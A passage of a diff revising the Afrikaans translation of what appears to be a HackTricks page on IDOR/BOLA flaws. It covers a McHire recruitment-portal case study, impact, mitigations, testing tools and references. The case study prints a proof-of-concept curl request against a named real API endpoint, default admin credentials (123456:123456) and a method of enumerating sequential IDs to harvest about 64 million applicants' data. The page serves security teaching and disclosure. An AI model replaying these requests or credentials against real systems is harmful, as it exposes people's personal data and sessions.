ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage. + +--- +## 2. Werklike Gevallestudie – McHire Chatbot Platform (2025) + +Tydens 'n assessering van die Paradox.ai-powered **McHire** werwingsportaal is die volgende IDOR ontdek: * Eindpunt: `PUT /api/lead/cem-xhr` -* Owerheid: gebruikersessie koekie vir **enige** restaurant toetsrekening -* Liggaam parameter: `{"lead_id": N}` – 8-syfer, **volgorde** numeriese identifiseerder +* Autorisasie: gebruikersessie-cookie vir **enige** restaurant-toetsrekening +* Body-parameter: `{"lead_id": N}` – 8-syfer, **opeenvolgende** numeriese identifiseerder -Deur `lead_id` te verlaag, het die toetsers willekeurige aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker **JWT** wat sessie-hijacking toegelaat het, verkry. Opname van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel. +Deur die `lead_id` te verlaag het die tester arbitrêre aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) en 'n verbruiker **JWT** wat session hijacking toegelaat het, verkry. Enumeration van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel. -Bewys-van-konsep versoek: +Proof-of-Concept request: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Gekombineer met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek. +Combined with **standaard admin-kredensiale** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye data-oortreding. --- ## 3. Impak van IDOR / BOLA -* Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers'** data. -* Vertikale eskalasie – lae-bevoegde gebruiker verkry admin-slegs funksionaliteit. -* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture). -* Rekening oorname deur tokens te steel of wagwoorde van ander gebruikers te reset. +* Horizontale eskalasie – lees/bewerk/verwyder **ander gebruikers** se data. +* Vertikale eskalasie – 'n lae-geregtheidsgebruiker kry administrateur-slegs funksionaliteit. +* Massiewe datalek as identifiseerders opeenvolgend is (bv., aansoeker-ID's, fakture). +* Rekeningsoorname deur tokens te steel of wagwoorde van ander gebruikers terug te stel. --- -## 4. Versagtings & Beste Praktyke -1. **Handhaaf objekvlak outorisasie** op elke versoek (`user_id == session.user`). -2. Verkies **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's. -3. Voer outorisasie **bediener-kant** uit, moenie op versteekte vormvelde of UI-beheer staatmaak nie. +## 4. Mitigering & Beste praktyke +1. **Dwing voorwerpniveau-autorisering af** op elke versoek (`user_id == session.user`). +2. Gebruik verkieslik **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van auto-increment IDs. +3. Voer autorisering **server-side** uit; vertrou nooit op versteekte formvelde of UI-beheer nie. 4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware. -5. Voeg **spoedbeperking & logging** by om opsporing van ID's te detecteer. -6. Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST). +5. Voeg **rate-limiting & logging** by om ID-enumerasie te ontdek. +6. Sekuriteitstoets elke nuwe endpoint (unit, integrasie, en DAST). --- ## 5. Gereedskap -* **BurpSuite uitbreidings**: Authorize, Auto Repeater, Turbo Intruder. +* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Github projekte**: `bwapp-idor-scanner`, `Blindy` (grootmaat IDOR jag). +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## Verwysings + + +## References * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}}